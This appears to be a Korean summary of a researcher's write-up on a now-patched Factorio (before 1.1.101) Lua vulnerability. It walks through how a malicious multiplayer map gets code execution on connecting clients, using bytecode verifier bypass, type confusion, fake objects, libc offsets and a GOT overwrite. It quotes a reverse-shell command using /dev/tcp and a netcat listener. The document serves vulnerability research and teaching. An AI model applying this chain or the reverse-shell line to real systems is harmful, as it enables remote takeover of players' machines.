- Factorio의 Lua 구현 취약점은 악성 서버가 접속 클라이언트에서 임의 코드 실행을 얻을 수 있게 했고, 영향 범위는 이미 패치된 1.1.101 미만 버전임
- 멀티플레이어가 결정적 lockstep 방식으로 같은 Lua 코드를 실행하는 구조라, 공격자는 악성 커스텀 맵을 통해 네트워크 경로에서 취약점을 유도할 수 있음
- 문제의 중심에는
base모듈의load/loadstring이 허용한 바이트코드 실행과 Factorio 자체 검증기의Off-By-One, 타입 검증 누락이 있음 - 익스플로잇은
FORLOOP타입 혼동으로 주소를 누출한 뒤, upvalue 인덱스 조작으로LClosure와TString을 혼동시켜 가짜 객체와 임의 읽기·쓰기를 구성함 - Linux RCE는 GOT의
ldexp주소를system으로 바꾸고math.ldexp호출을 악용했으며, Factorio의 구조체 오프셋과%a포맷 차이 때문에 별도 보정이 필요했음
취약점 범위와 Lua 노출 경로
- Factorio의 Lua 구현 취약점은 악성 서버가 클라이언트에서 임의 코드 실행을 얻을 수 있게 했고, Factorio 1.1.101 미만 버전이 영향을 받음
- Lua는 Factorio에서 게임 로직, 모드, 커스텀 맵 구현에 사용됨
- 모드는 게임 내부 또는 Factorio Mods에서 받을 수 있음
- 모딩 커뮤니티에는 수천 개의 모드가 있고, 일부는 다운로드 수가 50만 회를 넘음
- 단순히 악성 모드를 직접 설치해야 하는 로컬 공격처럼 보이지만, 멀티플레이어 동기화 방식 때문에 Lua 인터프리터가 네트워크 경로에 노출됨
- Factorio 멀티플레이어는 결정적 lockstep을 사용함
- 게임 상태 자체가 아니라 사용자의 입력만 네트워크로 전송함
- 모든 플레이어의 게임은 매 tick을 동일하게 시뮬레이션해야 함
- 한 플레이어가 Lua 코드를 실행하면 나머지 플레이어도 동기화를 위해 같은 코드를 실행해야 함
- 공격자가 Lua 코드를 실행시키는 경로는 두 가지로 정리됨
- 권한이 있을 때
/c명령으로 서버에서 Lua 코드 실행 - Lua 코드가 들어 있는 커스텀 맵을 만들어 클라이언트가 서버 접속 시 실행하게 함
- 권한이 있을 때
- 서버 브라우저에 악성 서버를 노출하면 피해자가 맵을 내려받고 Lua 코드를 실행하는 흐름이 만들어질 수 있음
전체 공격 흐름
- 공격은 Factorio 서버가 악성 맵을 제공하는 형태로 시작함
- 맵의 시나리오 Lua 코드에 익스플로잇을 포함함
- 클라이언트가 서버에 접속하면 맵을 다운로드하고 관련 Lua 코드를 실행함
- 이후 Lua 구현 약점을 이용해 가짜 객체(fake object) 를 구성함
- 가짜 객체는 메모리 누출과 메모리 손상을 가능하게 함
- 그 결과 코드 실행으로 이어질 수 있는 여러 프리미티브를 만들 수 있음
- 동적 언어에서 가짜 객체는 공격자가 강한 제어권을 얻는 핵심 수단임
- 문자열은 임의 데이터 누출에 사용될 수 있음
- 배열이나 테이블은 임의 메모리 쓰기에 사용될 수 있음
- 네이티브 함수 호출 경로가 있으면 실행 흐름 제어로 이어질 수 있음
Lua 바이트코드 실행과 검증기 문제
- Factorio에 포함된 Lua 모듈은 제한되어 있음
debug: 디버그 기능 접근math: 표준 C 수학 인터페이스bit32: 비트 연산string: 문자열 조작table: 테이블 조작base:print같은 Lua 핵심 함수
os.execute같은 명확히 위험한 모듈은 빠져 있지만,base모듈의load와loadstring은 바이트코드 실행을 허용하므로 공격 표면이 큼- Lua는 소스 코드를 먼저 Lua 바이트코드로 컴파일한 뒤 인터프리터에서 실행함
- 바이트코드는 CPU 기계어가 아니라 Lua 인터프리터만 실행할 수 있는 표현임
- 바이트코드를 직접 주입할 수 있으면 정상 컴파일러가 만들지 않는 잘못된 바이트코드를 실행할 수 있음
- Lua 개발자들은 임의 바이트코드 실행 위험을 알고 검증기를 만들었지만, Lua 5.2에서 제거함
- Lua 메일링리스트에서는 기존 검증기가 반복적으로 우회됐고, 임의 Lua 코드를 실행하는 애플리케이션은 precompiled script를 받지 않는 편이 낫다는 취지가 남아 있음
- Factorio 개발자는 Lua 5.2.1에 자체 바이트코드 검증기를 구현한 것으로 보임
- 보호 로직은 코드 밖 점프나 상수 배열 범위 밖 인덱스처럼 명확한 OOB 파라미터를 막는 데 집중됨
- 일부 opcode 의미 때문에
Off-By-One문제가 있었고,JMP 0같은 점프 오프셋 처리에서 코드 블록 밖으로 점프할 수 있었음 - 상수 영역이 코드 chunk 뒤에 할당될 수 있어, 공격자는 상수 섹션에 바이트코드를 저장하고 off-by-one 점프로 검사를 우회해 실행할 수 있었음
주소 누출: FORLOOP 타입 혼동
- Lua 내부 객체는
TValue로 표현됨TValue는 값 영역인Value와 타입을 나타내는tt_로 구성됨Value는 8바이트 공간이며, 타입에 따라 double 또는 포인터처럼 해석됨
- Lua 5.2의 숫자는 모두 double로 표현됨
- 숫자는 포인터를 거치지 않고
Valueunion 안에 inline으로 저장될 수 있음 - 문자열 포인터를 숫자처럼 해석하게 만들면 포인터 비트가 double 값으로 노출될 수 있음
- 숫자는 포인터를 거치지 않고
- 일반 Lua에서는
print(function)이 주소를 출력할 수 있지만 Factorio에서는 제거됐고, 문자열 주소도 직접 누출하지 못함 - 루프 opcode인
FORLOOP는 보통FORPREP뒤에 와야 함FORPREP는 시작값, 한계값, step이 숫자인지 확인함FORLOOP내부에서는 step 파라미터 타입을 검사하지 않으며,lua_assert기반 검사는 기본 빌드에서 강제되지 않음
- 공격자는 바이트코드를 조작해
FORPREP를 제거하고FORLOOP만 실행하게 만들 수 있음- 정상 Lua 소스에서 컴파일러가 만들지 않는 상황을 바이트코드로 구성함
- 문자열 같은 객체를 step 위치에 두면 해당
TValue의 포인터가 double처럼 해석되어 누출됨
- 누출값은 정상 double이 아니라 포인터 비트를 double로 해석한 값이라
2.1944577826691e-317같은 작은 값으로 보임- IEEE 754 binary64는 부호 1비트, 지수 11비트, mantissa 52비트로 구성됨
- 포인터 값이 denormalized double처럼 보이면 mantissa에서 원래 값을 복구할 수 있음
- Lua 5.2에는 pack/unpack과 정수 타입이 없어 변환이 까다로움
- 처음에는
string.format("%.13a", double)로 mantissa와 exponent를 읽어 포인터를 복원함 - 예시 누출값은
0x43d6c0포인터로 복구됐고, 실제 문자열 데이터는TString헤더 24바이트 뒤에 위치함
- 처음에는
Upvalue 조작과 LClosure 타입 혼동
- Upvalue는 현재 함수 바깥 스코프의 변수에 접근하는 Lua 메커니즘임
- 바이트코드의 upvalue 정보에는 인덱스, 이름, 스택 위치 여부, 스택 인덱스가 포함됨
- 공격자는 바이트코드에 포함된 upvalue 인덱스를 수정할 수 있음
- upvalue 인덱스를 바꾸면 원래 지역 변수가 아니라 스택의 다른
TValue를 참조할 수 있음- 예시에서는
targetupvalue 인덱스를 하나 증가시켜 현재 함수의LClosure를 가리키게 함 - 조작된 바이트코드는
nil대신LClosure: 0x...를 출력함
- 예시에서는
- Lua에서 함수의 실제 실행 단위는 Prototype과 Closure로 나뉨
Proto는 바이트코드, 상수, 소스 라인, upvalue 정보 등 함수 템플릿 역할을 함LClosure는 실행 중 생성되며Proto와 upvalue 목록을 연결함
CLOSUREopcode는 새 Lua closure를 만들고 스택에 올린 뒤 upvalue를 초기화함- 지역 변수 3개가 있으면 새
LClosure가base + 3에 놓일 수 있음 - upvalue 인덱스를
3으로 바꾸면 해당 위치의LClosureTValue를 잡을 수 있음
- 지역 변수 3개가 있으면 새
- 내부 함수가 바깥 함수의
LClosure를 문자열로 덮어쓰면, 반환 뒤 Lua가 문자열을LClosure처럼 사용하려 하며 충돌함OP_RETURN경로의 타입 검사는lua_assert에 의존하고 기본 설정에서는 강제되지 않음- 결과적으로 현재 실행 frame의
cl이 실제LClosure가 아니라 공격자가 제어하는TString을 가리킬 수 있음
TString과LClosure의 레이아웃 차이를 이용하면 문자열 사용자 데이터 영역이Proto *p와Upval **upval위치에 겹침- 이 타입 혼동으로 함수 prototype 포인터와 upvalue 배열 포인터를 제어할 수 있음
- 제어 가능한 메모리 영역을 가리키게 하면 가짜 객체를 만들 수 있음
가짜 객체와 읽기·쓰기 프리미티브
- 가짜 객체 생성 경로는 크게 두 가지임
- 가짜
Proto가 가짜TValue배열을 가리키게 하는 경로 - 가짜
UpVal배열이 가짜TValue를 가리키게 하는 경로
- 가짜
- 상수 경로는 padding이 적고 함수에서 상수를 다시 사용할 수 있어 선택됨
- 가짜
TString - 가짜
TString을 가리키는TValue배열 - 가짜
TValue배열을 가리키는Proto - 가짜
Proto를 가리키는LClosure
- 가짜
- 가짜
TString은 길이를 임의로 크게 설정해 읽기 프리미티브로 사용할 수 있음- Lua 문자열 데이터는
TString헤더 뒤에 있다고 가정됨 str:sub()로 가짜 문자열이 닿는 범위의 메모리를 읽을 수 있음- Lua 문자열 인덱스는 1부터 시작하므로 header 계산에서 1바이트 보정이 필요함
- Lua 문자열 데이터는
- 쓰기 프리미티브는 가짜
UpVal이 쓰기 대상 주소의TValue를 가리키게 만드는 방식임- Lua 변수에 숫자를 대입하면 해당 위치에 숫자
TValue가 기록됨 - 숫자는
TValue의 처음 8바이트에 inline 저장되므로 값 영역을 제어할 수 있음 - 동시에 다음 8바이트에는 타입 정보가 기록되어 주변 메모리도 손상될 수 있음
- Lua 변수에 숫자를 대입하면 해당 위치에 숫자
- Lua 숫자가 double이라는 점 때문에 원하는 정수 비트 패턴을 쓰려면 변환이 필요함
- denormalized double의 최소 단위인
2^-1074를 이용함 integer_to_double(integer) = integer * 2^-1074형태로 정수를 double 표현에 인코딩함
- denormalized double의 최소 단위인
명령 포인터 제어와 ASLR 우회
- Lua의
Light C Function은 함수 포인터를TValue안에 inline으로 저장함- 함수 타입은
LUA_TFUNCTION이고,Light C Function은LUA_TLCF값22로 표현됨 TValue의 값 영역에0xdeadbeef, 타입 영역에22를 넣으면 해당 주소의 함수처럼 호출할 수 있음
- 함수 타입은
- 가짜
Light C Function을 호출하면 instruction pointer를 제어할 수 있음- 예시에서는
RIP가0xdeadbeef가 되며 충돌함 - 이후 ROP chain 같은 실행 흐름 변경 기법으로 이어질 수 있음
- 예시에서는
Light C Function포인터가 inline 저장된다는 점은 주소 누출에도 유용함- Lua 함수들이 light C function으로 구현되어 있으면 주소 누출 프리미티브로
print같은 함수 주소를 읽을 수 있음 - 이를 통해 ASLR 우회에 필요한 기준 주소를 계산할 수 있음
- Lua 함수들이 light C function으로 구현되어 있으면 주소 누출 프리미티브로
- sandbox된 함수가 바이너리에 남아 있다면, fake function을 해당 주소로 가리켜 호출하는 우회도 가능함
Factorio에 맞춘 보정
- 초기 테스트는 공식 Lua 인터프리터에서 진행됐지만, Factorio의 Lua 구현은 구조체 레이아웃이 다름
- Factorio의 GC 객체
CommonHeader에는previous포인터가 추가됨- 공식 Lua는
next,tt,marked구조임 - Factorio는
previous,next,tt,marked구조로 보임
- 공식 Lua는
- 이 차이로 일부 오프셋이 8바이트씩 밀림
TString헤더는 24바이트가 아니라 32바이트가 됨- 문자열 내용 주소 계산과 읽기 프리미티브의 상대 주소 계산을 수정해야 함
- 가짜
UpVal과 fake closure 계산에서도 추가 포인터를 반영해야 함
- Factorio에서는
%a포맷 동작도 공식 Lua 테스트와 달랐음string.format("%.13a", 2.1038461432219e-316)이 예상한0x0.000000289c130p-1022가 아니라0xa.2704c00000000p-1052형태를 냄- 이 때문에 문자열 포맷 기반 double 복원이 깨짐
- 최종 변환은 순수 수치 방식으로 바뀜
- denormalized 값은 모든 정수가 우측 최하위 비트 기준으로 시작한다고 볼 수 있음
double_to_number(double) = double * 2^52 * 2^1022로 누출된 값을 복원함2^1074는 double로 표현할 수 없어 두 단계 곱셈으로 나눔
Linux RCE: GOT 교체와 math.ldexp
- Linux에서 선택한 RCE 경로는 ROP chain 대신 GOT 교체를 이용함
- Lua에서 호출 가능하고 첫 번째 인자를 제어할 수 있는 imported function을 찾음
- 해당 함수의 GOT 엔트리를
system주소로 덮음 - Lua에서 그 함수를 호출해
system(command)처럼 동작하게 만듦
- Factorio의 제한된 Lua 라이브러리 안에서는
math.ldexp가 적합한 함수로 사용됨- 내부적으로
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))를 호출함 - GDB 확인에서 두 번째 Lua 인자가 libc 호출의 첫 번째 레지스터 인자
RDI로 전달되는 상황이 확인됨
- 내부적으로
- GOT는 heap보다 앞에 있어 기존 가짜 문자열 읽기 프리미티브만으로는 직접 읽기 어려움
- 읽기 프리미티브는 가짜 문자열 헤더 이후 주소만 읽을 수 있음
- GOT 앞에 있는 writable segment를 이용해 GOT 이전 위치에 가짜
TString을 구성함
- 가짜
TString을 GOT 앞에 만들면 libc 함수 주소를 읽어 ASLR을 우회할 수 있음- 예시에서는 GOT에서
memcpy주소를 읽음 - Fedora 39의 libc 2.38 오프셋으로
libc_base = memcpy - 0x138b80,system = libc_base + 0x2a3b0를 계산함
- 예시에서는 GOT에서
- 이후
ldexpGOT 엔트리를system주소로 덮음- 예시 주소에서는
0x289ef00위치가ldexpGOT 엔트리로 사용됨 write(0x289ef00, system)형태로 덮어씀
- 예시 주소에서는
명령 실행과 최종 원격 셸
- 처음에는 Lua 문자열에 명령을 저장하고
math.ldexp(0, addr_of(cmd) + 32)로 호출하려 했음- 명령은
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"형태임 - 하지만 Lua가
ldexp를 32비트 파라미터로 호출하면서 문자열 주소 상위 비트가 잘려 실패함
- 명령은
- 우회책은 이전에 가짜 문자열을 만들 때 사용한 바이너리 writable segment에 명령 문자열을 직접 쓰는 방식임
- PIE가 활성화되어 있지 않아 메인 바이너리 주소가 충분히 작았음
- 주소
0x289c150부근에 명령 문자열을 여러 번의write()로 기록함
math.ldexp(0, 0x289c150)호출은 GOT 교체 후system(0x289c150)호출처럼 동작함- 최종 실행 결과는 로컬
nc -lvp 9001리스너에 연결된 셸로 확인됨- 셸 프롬프트는
sh-5.2$ whoami결과는victim
- 셸 프롬프트는
연습용 챌린지와 참고 자료
- 글 말미에는 Lua 인터프리터에서 탈출해 Lua 코드로 직접 호출할 수 없는 JavaScript 함수를 실행하는 브라우저 기반 챌린지가 제공됨
- 챌린지: Escape from Alcawasm
- 관련 참고 링크
- Lua 바이트코드 검증기 제거 배경: lua-l 메일링리스트 Wayback 사본
- Factorio Lua 검증기 코드: Factorio Lua
- Lua 숫자 구현: Programming In Lua: Numbers
- Lua 클로저: Programming in Lua: Closures
%a포맷 설명: GNU libc Floating-Point Conversions- Lua 5.1 Windows 익스플로잇 참고: Exploiting Lua 5.1 on 32-bit Windows